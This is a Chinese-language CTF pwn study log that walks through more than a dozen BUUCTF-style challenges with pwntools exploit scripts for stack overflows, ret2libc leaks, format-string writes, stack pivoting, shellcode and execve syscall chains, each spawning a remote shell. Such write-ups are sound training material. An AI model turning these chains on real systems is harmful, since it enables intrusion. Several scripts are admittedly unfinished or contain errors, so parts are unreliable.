elf = ELF("./1111")

#params
puts_got = elf.got['puts']####
puts_plt = elf.plt['puts']####
main_addr = elf.symbols['main']##这个几个按理来说是一样的
rdi_addr = 0x400c83
ret=0x4006b9

image-20240627120932300

1
2
3
4
5
#attack1,这里是指要先通过栈溢出,绕过if条件
payload = b'\x00'+b'a'*(0x50+8-1)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
##减一是因为前面的第一个字节占用了,而0x58如上所得。
r.recv()
r.sendline(b"1")#输入1是因为要进入encrypt函数

image-20240627191219063

1
2
3
4
5
r.recv()#接上
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

#start
r = remote("node5.buuoj.cn",29640)
lib = ELF("./ubuntu18(64).so")
elf = ELF("./1111")

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr = 0x400c83
main_addr = elf.symbols['main']
ret=0x4006b9

#attack
payload = b'\x00' + b'M'*(0x50+8-1) +p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.recv()
r.sendline(b"1")
r.recv()
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))


# libc
base_addr = puts_addr - lib.symbols['puts']
system_addr = base_addr + lib.symbols['system']
bin_sh_addr = base_addr + next(lib.search(b'/bin/sh'))#next为python3所用的




#attack2
payload2 = b'\x00' + b'M'*(0x50+8-1) + p64(ret) +p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline('1')
r.recv()
r.sendline(payload2)

r.interactive()

换一种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
p=remote('node5.buuoj.cn',25784)
elf=ELF('./1111')
#params
pop_rdi=0x400c83
ret=0x4006b9
code=0x4009a0

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

p.recvuntil('choice!\n')
p.sendline(str(1))
p.recvuntil('encrypted\n')

payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(code)
p.sendline(payload)
p.recvuntil('Ciphertext\n\n')
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
#print(hex(puts_add))

system=puts_add-0x31580
binsh=puts_add+0x1334da

p.recvuntil('encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()

抱着学习的态度看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

r = remote('node5.buuoj.cn',25784)
elf = ELF('./ciscn_2019_en_2')

rdi_ret = 0x400c83
ret = 0x400c84
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

r.sendlineafter('choice!\n','1')
payload = '\x00'+'a'*(0x50+0x7)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter('encrypted\n',payload)

r.recvline()
r.recvline()

puts_addr = u64(r.recv(6).ljust(8,b'\x00'))

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
r.sendlineafter('choice!\n','1')
payload = '\x00'+'a'*0x57+p64(ret)+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)
r.sendlineafter('encrypted\n',payload)

r.interactive()

ciscn_2019_ne_5

2024.6.27

日常检查

image-20240627201618243

32位,NX保护,

先运行一下看看,看样子是一个要知道管理员密码

image-20240627203301695

ida静态分析一下,main函数,可以发现管理员密码为:administrator

image-20240627204934305

main函数分析的话,找一下有没有漏洞,

image-20240627210841957

这里也很明显,输入的字符的最大长度为100,但是要比较多字符却只有 administrator。这里就是很明显的溢出了。

在看看这个Getflag函数。

image-20240627205037814

点进去看一下就知道,这个输入的src为我们所要的flag

image-20240627203524212

大体思路如下:

  • 首先先选1添加一个日志,然后再把我们的密文输进去,最后在选输出所有的日志
  • 这里我们看见了system函数,在找找看有没有/bin/sh/函数,这里应用ROPgadget工具查找
  • 最后构建payload,用rop来进行解题

image-20240628090123634

image-20240628092759005

image-20240628092803994

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

#params
r=remote('node5.buuoj.cn',25511)
elf = ELF('./1111')
bin_addr=0x080482ea
system_addr=elf.sym['system']

#attack
r.recvuntil("Please input admin password:")
r.sendline('administrator')

r.recvuntil('0.Exit\n:')
r.sendline('1')
payload=b'a'*(0x48+4)+p32(system_addr)+b'1234'+p32(bin_addr)

r.recvuntil("Please input new log info:")#先添加日志
r.sendline(payload)

r.recvuntil('0.Exit\n:')
r.sendline('4')
r.interactive()

铁人三项(第五赛区)_2018_rop

2024.6.29

日常检查

image-20240629134748740

看一下为32位架构和NX保护

运行一下这个文件看看

image-20240629134901586

ida静态分析一下,猜测是这个read函数发生溢出,buf只有136位,并且函数只读取了0x100(256)位,可能发生溢出。

image-20240629135415017

read(0,buf,100)的意思是从文件描述符为0的输入流(通常是标准输入)中读取最多100个字节的数据,并将其存储在名为buf的缓冲区中。如果输入流中的可用字节数少于100个字节,那么read()函数将阻塞,直到有足够的数据可用为止。函数的返回值是实际读取的字节数,如果出现错误则返回-1。

这里也能看见距离栈底的距离为0x88h,再看一下eip的长度,32位一般为4位

image-20240629135756521

这里再找一下溢出的地方,好像找不太到,其实看题目就知道,应该是一个rop

这里先简单写一下exp:

1
2
3
4
5
6
from pwn import *

r=remote('node5.buuoj.cn',26021)
elf = ELF('./1111')

r.interactive()

在看看rdi或者bin/sh的地址。

发现好像找不到,所以说这个rop怎么构建的呢?

这里是泄露write函数来泄露libc版本

之前遇到过puts函数,可以回头复习一下

write函数来泄露程序的libc版本

  • 1.利用write函数来泄露程序的libc版本

image-20240629145759424

这里了解一下write函数,ssize_t write(int fd,const void*buf,size_t count);

fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

所以就可以直接构造payload了

payload=’a’*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)

这里p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

1
2
3
4
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
  • 2.知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
1
2
3
offset=write_addr-libc.dump('write')     #计算偏移量#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_addr=offset+libc.dump('str_bin_sh')
  • 3.覆盖返回地址为system(‘/bin/sh’),获取shell
1
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_addr)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',26402)
elf = ELF('./1111')

#params
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

#attack1
payload=bs'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))

#libic
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write') #计算偏移量#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_addr=offset+libc.dump('str_bin_sh')

#attack2
payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()

image-20240629152819623

也是得到了flag

flag{6635cb79-c64d-4f23-aa1a-9f166ab7e05b}

bjdctf_2020_babystack2

2024.7.1

image-20240701152552715

日常检查。NX保护和64位架构

image-20240701152717392

随便运行一下看看,扔进ida里面看看

其实看一眼函数栏就看见了后门函数,挺明显的哈,连system(/bin/sh)都直接给了,看一下函数的地址

image-20240701153020410

image-20240701155619429

返回地址为0x400726

找一下溢出点

我觉得就是这个read函数

image-20240701160723575

  • 首先了解一下read函数,这里的read函数意思是将字符’0’读取nbytes个数,到buf缓冲区。
  • 解题思路:nbytes参数的类型 是 size_t,它是一个无符号整型。但是第7行又将它转换成了有符号的整型,存在整数溢出漏洞(即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围,从而造成溢出,常用-1来造成溢出)

整数溢出漏洞

先老规矩backdoor溢出一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*
p=remote('node5.buuoj.cn',29090)
#params
backdoor=0x400726

#attack
p.recv()
p.sendline('-1')
p.recv()

payload=b'A'*(0x10+8)+p64(backdoor)
p.sendline(payload)
p.interactive()

image-20240701161453299

得到flag为

flag{9289bced-6154-45af-aecf-33cc19f7bf1b}

这里跟我平常遇见的简单的后门函数还不太一样,这里是利用read函数来进行溢出的,利用读取错误。返回-1来造成溢出。

bjdctf_2020_babyrop

2024.7.3

image-20240703162107800

日常检查,NX保护,64位架构

运行一下看看

image-20240703162318970

看样子应该是泄露libc版本,ida静态分析一下

image-20240703162453923

这个read函数存在漏洞,并且read的最大长度为100,但是buf只有32。存在溢出,长度为(0x20+8)

ok,这里利用puts函数进行泄露libc版本,简单写一下wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
from LibcSearcher import *

r=remote('node5.buuoj.cn',26127)
elf =ELF('./1111')

context.os='linux'
context.arch='amd64'
context.log_level='debug'

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
rdi_ret = 0x400733
ret = 0x4004c9
#attack1
r.recvuntil('Pull up your sword and tell me u story!')
payload =b'a'*(0x20+8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.recv()
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))




#libc
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
#attack2
r.recvuntil('Pull up your sword and tell me u story!')
payload = b'a'*(0x20+8)+p64(ret)+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()

image-20240703171638370

最后得到flag

flag{97e4a79a-ec1b-4dfb-bd0a-481099264157}

jarvisoj_fm

2024.7.3

日常检查

image-20240703172309090

简单说一下,32位,NX保护,和stack保护

简单运行一下,扔进ida进去看看

image-20240703173050242

image-20240703173944856

奥!一下就看见了system(/bin/sh)函数,看一下地址

0x80485D

image-20240703174048431

​ 找一下溢出点,这个printf函数的格式化字符串漏洞,看一下偏移量

格式化字符串

image-20240703174538814

偏移量为11

然后看一下条件,这里的if(x==4),看一下x的地址0x804A02C

image-20240703175332565

所以exp如下:

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 29553)
payload=p32(0x804A02C)+"%11$n"
p.sendline(payload)
p.interactive()

image-20240703175925505

flag{dd8a37aa-23f4-418e-a471-65a1d52f5db4}

还是很简单的

jarvisoj_tell_me_something

2024.7.3

image-20240703192657556

日常检查,64位架构,NX保护

运行一下看看,没什么用

image-20240703192803742

ida里面看一眼

image-20240703193559582

感觉是我们要找的,看一下函数的地址

image-20240703200415154

找一下溢出点,应该就是这个read函数

image-20240703193821687

v4是136,而最大长度是256,存在溢出

感觉就是简单的后门

编写一下exp:

1
2
3
4
5
from pwn import *
p = remote('node5.buuoj.cn',26798)
payload=b'a'*(0x88+8)+p64(0x400620)
p.sendline(payload)
p.interactive()

但是注意的是要看一下汇编代码

image-20240703200506055

这里直接进行rsp-88h,并没有进行push rbp,所以不用带着后面的8

正常情况

image-20240703200847001

然后就可以进行正常的解题了

image-20240703200628494

flag{8140653e-8223-41a2-8383-e4ccc40cda23}

ciscn_2019_es_2

2024.7.4

image-20240704103016516

日常检查,32位,NX保护,随便运行一下看看

image-20240704103058100

扔进ida里面,

一眼就看见了hack,很简单的感觉就是一个简单的后门,看一下地址

image-20240704104727132

image-20240704103309413

看看找找溢出点,很明显的read函数存在溢出

image-20240704103419832

就是简单的后门函数

简单编写一下exp:

1
2
3
4
5
6
from pwn import * 
r=remote('node5.buuoj.cn',29448)

payload = b'a'*(0x28+4)+p32(0x804854B)
r.sendline(payload)
r.interactive

image-20240704105211549

果然是个钩子,其实我们只能看见flag这四个字节,但是后面缺少,这里搜索一下就知道是因为溢出长度不够了,s的ebp+ret正好是44,而我们的最大长度为48,只剩下4个字节,溢出为flag。

SO,这里就用到了

栈迁移

工具看一下有没有/bin/sh的地址

image-20240704105516236

我们可以看见system函数的地址

1
0x8048400

利用过程:

  • 一、泄露ebp

  • 二、找到参数s在栈上的位置

  • 三、布置s栈上的值

  • 四、栈劫持、获取shell

一、printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = remote("node5.buuoj.cn",28155)
#p = process("./ciscn_2019_es_2")

sys_addr = 0x8048400
leave_ret = 0x080484b8
payload = 'a' * 0x27 + 'p'
p.send(payload)
p.recvuntil('p')
ebp = u32(p.recv(4))
print (hex(ebp))
payload = ('this'+p32(sys_addr)+'aaaa'+p32(ebp-0x28)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x38) + p32(leave_ret)
#指向'/bin/sh' #指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()

[HarekazeCTF2019]baby_rop 2

2024.7.5

日常检查

image-20240705161402820

NX保护,64位,ida进去看一眼

image-20240705161910172

read函数的溢出,(0x20+8)但是感觉找不到溢出点,这里肯定就是泄露libc版本了。

这里利用printf泄露read函数进行泄露地址计算libc的基址,ROP链构造system(’/bin/sh‘)

这里的需要的params是rdi和rsi

工具查看一下:ROPgadget

1
2
rdi_addr=0x400733
rsi_addr=0x400731

但是这里要注意的是:

image-20240705164701562

他这里跟了一个pop r15,这里说是无所谓。不管他,不过这里的got表的地址为read函数的。

还有就是要设置第一个参数。0x400770

1
foramt_str=0x400770

image-20240705165814818

简单写一下payload

payload= b’a’*(0x20+8)+p64(rdi_addr)+p64(foramt_str)+p64(rsi_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(mian_addr)

最后接收一下输出的read函数地址

1
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r=remote('node5.buuoj.cn',27046)

#params
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_addr = elf.symbols['main']
rdi_addr=0x400733
rsi_addr=0x400731
foramt_str=0x400770
#attack


recvuntil("What's your name?")
payload= b'a'*(0x20+8)+p64(rdi_addr)+p64(foramt_str)+p64(rsi_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(mian_addr)
r.sendline(payload)

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))


# libc
libc=LibcSearcher('write',read_addr)
base_addr = puts_addr - lib.symbols['read']
system_addr = base_addr + lib.symbols['system']
bin_sh_addr = base_addr + next(lib.search(b'/bin/sh'))#next为python3所用的




#attack2
payload= b'a'*(0x20+8)+p64(rdi_addr)+p64(foramt_str)+p64(rsi_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(mian_addr)
r.sendline(payload)

r.interactive()

放着先!

okok,2024.7.12回头看一手这道题

利用read函数泄露libc基址

看了一下是利用read函数泄露libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#64位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',25489)
elf = ELF('./1111')

#params
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.symbols['main']
pop_rdi =0x0000000000400733
pop_rsi_r15=0x0000000000400731
format_str= 0x400770
ret_addr=0x00000000004004d1

#attack1

payload = b'a'*(0x20+8)+ p64(pop_rdi) + p64(format_str)+p64(pop_rsi_r15)+p64(read_got) + p64(0)+p64(printf_plt) + p64(main)

p.recvuntil('name?')
p.sendline(payload)
#gets_addr = u64(p.recv(6).ljust(8,b'\x00'))
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(read_addr))

#文件库
libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
payload = flat([b'a'*(0x20+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
p.interactive()

解决

image-20240712104204310

flag{7e2a13b8-02d1-4c2f-b9d1-e14ff995354c}

pwn2_sctf_2016

2024.7.6

image-20240706104037117

日常检查,32位,NX保护,运行一下,没啥用

ida打开看看,感觉就是栈溢出的问题。

image-20240712111311989

整数溢出+printf函数libc版本泄露

printf函数泄露libc版本

  1. 一开始输入负数,绕过长度限制,造成溢出
  2. 利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
  3. 溢出覆盖返回地址去执行system(‘/bin/sh’)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#32位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
elf = ELF('./1111')
p=remote('node5.buuoj.cn',27143)


#params1
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.symbols['main']
#attack1
p.recvuntil('How many bytes do you want me to read? ')
p.sendline('-1')
p.recvuntil('\n')

payload = b"A"*(0x2c+4)+ p32(printf_plt) + p32(main_addr) + p32(printf_got)
p.sendline(payload)

printf_addr = u32(p.recv(4))
print(hex(printf_addr))



#构建一下libc
libc = LibcSearcher("printf",printf_addr)
libc_base = printf_addr - libc.dump("printf")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
payload = flat([b'A'*(0x2c+4),system_addr,mian_addr,bin_sh])
p.sendline(payload)
p.interactive()

picoctf_2018_rop chain

2024.7.6

日常检查

image-20240706104728558

32位,NX保护,简单运行一下

image-20240706112212568

ida打开,

看见了gets函数漏洞,栈溢出,看一下(0x18+4)

找一下溢出点,找到了flag.txt,先试试是不是简单后门函数。

满足这个应该就是可以输出flag

image-20240706112338581

这里就是要满足这三个条件就可以了。

首先找找这两个win1和win2

image-20240706112637838

image-20240706112642161

覆盖一下这两个函数,函数1:0x80485CB和函数2:0x80485D8

1
2
3
4
5
6
7
8
9
10
from pwn import *
r=remote('node5.buuoj.cn',28834)

#params
win_function1=0x80485CB
win_function2=0x80485D8
flag_addr=0x804862B
payload= b'a'*(0x18+4)+p32(win_function1)+p32(win_function2)+p32(flag_addr)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
r.sendlineafter('Enter your input> ',payload)
r.interactive()

jarvisoj_level3

2024.7.15

日常检查

image-20240715153318264

简单运行一下

image-20240715153615153

ida打开看看,有个read函数的溢出漏洞

image-20240715154253419

看一眼字符串

image-20240715154421573

嘶!感觉就是最基本的libc版本泄露,自己先整整看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',28036)
elf = ELF('./1111')

#params
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

#attack1
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))

#libic
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write') #计算偏移量#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_addr=offset+libc.dump('str_bin_sh')

#attack2
payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()

ez_pz_hackover_2016

2024.7.6

image-20240706115559095

日常检查,只开了一个relro,32位

看了一眼,找一下漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
........
if ( !result )
return vuln(s, 0x400u);
return result;
........
void *__cdecl vuln(int src, size_t n)
{
char dest[50]; // [esp+6h] [ebp-32h] BYREF

return memcpy(dest, &src, n);
}
//看出是存在栈溢出漏洞的

解题思路:写入shellcode到s,s中的内容复制到vuln函数中的dest然后溢出,控制程序指向shelldode执行。

  • 首先要绕过一下这个if条件语句
1
2
3
4
5
6
7
8
  if ( !result )
return vuln(s, 0x400u);
//这块的意思是当result为假时,执行下面的语句
//也就是让result为0或NULL时
//在往上看看
printf("\nWelcome %s!\n", s);
result = strcmp(s, "crashme");

这里科普一下strcmp函数遇到’’/x00’空字符时会停止

  • 负值:如果 str1 小于 str2

  • :如果 str1 等于 str2

  • 正值:如果 str1 大于 str2

所以我们的第一步就是传一下这个字符串‘’crashme\x00‘’

在看一下栈的情况,这里不看ida,自己调试一下(我的理解是因为esp指针的问题所以反编译的时候不对),调一下!!

这里脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p=process('./1111')
context.log_level='debug'

gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点

p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print (hex(stack))

payload='crashme\x00'+'aaaaaa'#前面的crashme\x00绕过if判断
#后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址
#利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)

pause()#linxu下的暂停程序命令

得到

image-20240716093331948

你会看到我们输入的crashme,但是下面只显示了ashme,少了cr,仔细看一下就应该知道他在上面,因为是小段存储,所以是从右开始数40(95),41(ff),42(63),43(72)。

image-20240716094221307

欧克,这样的话就能计算偏移了

0xffafce58 -0xffafce42

image-20240716094636598

得到偏移为0x16

  • 接下来解决我们指向shellcode的地址问题

一开始栈的位置为0xffafce7c

image-20240716094914434

image-20240716100059049

输入点距离我们的返回地址为(0x3c-0x20)0x1c,所以我们用0xffafce7c-0x1c来表示返回地址。

1
payload=b'crashme\x00'+ b'a'*(0x16-8+4) +p32(stack)+shellcode

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r=remote('node5.buuoj.cn',27686)

r.recvuntil('crash: ')
stack=int(r.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
shellcode = asm(shellcraft.sh())
stack=0xffafce7c-0x1c
payload=b'crashme\x00'+ b'a'*(0x16-8+4) +p32(stack)+shellcode
r.sendline(payload)

r.interactive()

ciscn_2019_s_3

2024.7.6

image-20240706120105852

日常检查,64位,NX保护,运行一下,扔进ida

read函数存在溢出

image-20240706120848065

了解一下**_asm关键字**调用内联汇编程序,并且可在C或C++语句合法时出现。

简单了解一下下面:

32位与64位系统调用的区别

传参不同

系统调用不同

调用方式不同

  • 32位

传参方式:首先系统将系统调用号传入eax,然后将参数从左到右依次存入ebx,ecx,edx寄存器,返回值值存在eax寄存器

调用号:sys_read的调用号为3,sys_write的调用号为4

调用方式:使用int 80h中断进行系统调用

  • 64位

传参方式:首先将系统调用号传入rax,然后将参数从左到右依次存入rdi,rsi,rdx,rcx,r8,r9存器中,返回值值存在rax寄存器

调用号:sys_read的调用号为0,sys_write的调用号为1,stub_execve的调用号为59 stub_rt_sigreturn的调用号为15

调用方式:使用syscall进行系统调用

方法:csu和srop、sigret

简单看一下vuln函数:

image-20240708092707820

最大长度为0x400,而buf只用0x10。看一下用什么溢出,应该用write函数溢出。

简单编写一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

payload = p64(ret_addr) + b'/bin/sh\0'
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7 # 这里执行到0x400580后又会重新pop一遍, 7是调试出来的,没仔细看代码...
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()

放着

泄露栈基址

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r=remote('node5.buuoj.cn',28398)
context.os='linux'
context.arch='amd64'
context.log_level='debug'
#params
vlu= 0x4004ED
payload = b'/bin/sh\x00'+b'b'*8+p64(vlu)

r.sendline(payload)
r.interactive()

okok.2024.7.16回头来看一手

需要用execve函数,

这里的漏洞还是很好找的

image-20240716145543747

很明显的溢出!

看一眼gadgets函数,

image-20240716145722609

上网查一下

image-20240716150133511

SO,看一眼ida里面最后的寄存器的调用情况

image-20240716150347196

解题思路:利用execve(/bin/sh,0,0)获取shell,这里需要让rdi=/bin/sh ,rdx=0,rsi=0

image-20240716162113156

通过打印出来的stack_addr得出的地址与buf的地址偏移为:0x148

image-20240716162116494

gadgets函数里面。分别对rax赋予了0xf(sigret), 和0x3b(execve)

CSU解法:

执行execve有几个关键的寄存器的值需要设置

  • rax = 0x3b
  • rdi = &’/bin/sh\0’
  • rsi = 0
  • rdx = 0

image-20240716163445353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#p = process('./1111')
p=remote('node5.buuoj.cn',29476)
#gdb.attach(p)

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))


pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

payload = p64(ret_addr) + b'/bin/sh\0'
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7 # 这里执行到0x400580后又会重新pop一遍, 7是调试出来的,没仔细看代码...
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()

放着!!!一坨!!!

这题真的很长哈,因为看了很多的wp,但是都没有做出来,终于在这回打通了,这是第一次接触系统调用的题,其实之前也遇到过一些系统调用的题,知道什么int 0x80 什么的。我是fw

系统调用

  • 系统调用:实际上是0x80号中断对应的中断处理程序的子程序。简单来说,在linux系统上,0x80中断是系统调用的统一入口(这里讲的是32位)。某个具体的系统调用是这个中断处理程序的子程序,进入具体某个系统调用是通过内核定义的系统调用号码来实现的。
  • 系统调用号:每个系统调用在内核里面都对应一个号码,这个号码是在 /usr/include/i386-linux-gnu/asm/unistd_32.h 中定义的。

简单来说,系统调用是通过某个入口来执行的子程序,执行完之后,返回上层应用程序的过程。32位和64位的系统调用是不同的:

  • 32位:
    传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器,通过使用int 0x80中断进行系统调用
  • 64位:
    传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器,系统调用是通过syscall来调用的

这里看到上面也写了!!调用execve系统函数也说了

1
2
0x38 = 59:sys_execve                        mov     rax, 3Bh                
0xf = 15:sys_rt_sigreturn mov rax, 0Fh
  • 而系统调用execve(“/bin/sh”,0,0),需要这样的布局
    rax==59 #系统调用号
    rdi==“/bin/sh”
    rsi==0 #控制r14来传值
    rdx==0 #控制r13来传值

下面的看的应该也很清楚。

image-20240716195344848

用 read 输入 /bin/sh,再填充溢出,write 是会打印出 0x30 大小的数据,这里在打印的 0x20 到 0x28 是一个地址,这个地址是栈上面的,所以只要算出这个地址和 binsh 地址的相对偏移即可,也可以直接调试出来。

找一下:syscall地址

还是很简单的,ROPgadget工具来

1
2
3
4
#工具命令
ROPgadget --binary ./1111
#得到结果
0x0000000000400501 : syscall

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#_*_coding:utf-8_*_
#/bin/sh
from pwn import *

a=remote('node3.buuoj.cn',27015)
main=0x0004004ED #这里的地址是0x4004ED
execve=0x04004E2 #这里的地址就是mov rax, 3Bh 的地址
pop_rdi=0x4005a3 #工具找
csu_end=0x40059A #就是_libc_csu_init里面的那两个函数地址
csu_front=0x0400580 #
sys=0x00400517 #这里0x00400501和0x00400517都行

#泄露/bin/sh
payloadl1=('/bin/sh\x00').ljust(0x10,"\x00")+p64(main)
a.send(payloadl1)
